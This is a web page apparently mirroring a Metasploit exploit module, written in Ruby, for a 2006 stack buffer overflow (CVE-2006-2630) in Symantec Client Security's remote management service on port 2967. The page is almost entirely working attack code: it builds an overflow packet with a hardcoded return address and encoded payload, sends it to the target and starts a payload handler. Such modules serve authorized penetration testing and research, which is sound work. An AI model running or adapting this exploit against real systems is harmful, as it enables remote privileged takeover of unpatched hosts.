CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/symantec_rtvscan.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Symantec Remote Management Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
16
This module has only been tested against Symantec Client Security 3.0.2
17
build 10.0.2.2000.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
['CVE', '2006-2630'],
24
['OSVDB', '25846'],
25
['BID', '18107'],
26
['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
27
],
28
'Privileged' => true,
29
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 500,
37
'BadChars' => "\x00",
38
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2006-05-24'))
47
48
register_options(
49
[
50
Opt::RPORT(2967)
51
])
52
end
53
54
def exploit
55
connect
56
57
header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"
58
header << "\x02\x18\x00\x01\x00\x00\x00\x00"
59
header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
60
header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
61
62
crufta = rand_text_alphanumeric(512)
63
cruftb = rand_text_alphanumeric(514)
64
cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
65
cruftd = rand_text_alphanumeric(495)
66
67
cruftd[479, 2] = "\xeb\x06"
68
cruftd[483, 4] = [target.ret].pack('V')
69
cruftd[487, 5] = [0xe8, -1000].pack('CV')
70
71
cruftd << rand_text_alphanumeric(21)
72
crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
73
crufte << rand_text_alphanumeric(504) + "\x00\x00"
74
75
overflow = [ crufta.length ].pack('v') + crufta
76
overflow << [ cruftb.length ].pack('v') + cruftb
77
overflow << [ cruftc.length ].pack('v') + cruftc
78
overflow << [ cruftd.length ].pack('v') + cruftd
79
overflow << [ crufte.length ].pack('v') + crufte
80
81
sploit = header + overflow
82
83
print_status("Trying target #{target.name}...")
84
sock.put(sploit)
85
86
handler
87
disconnect
88
end
89
end
90
91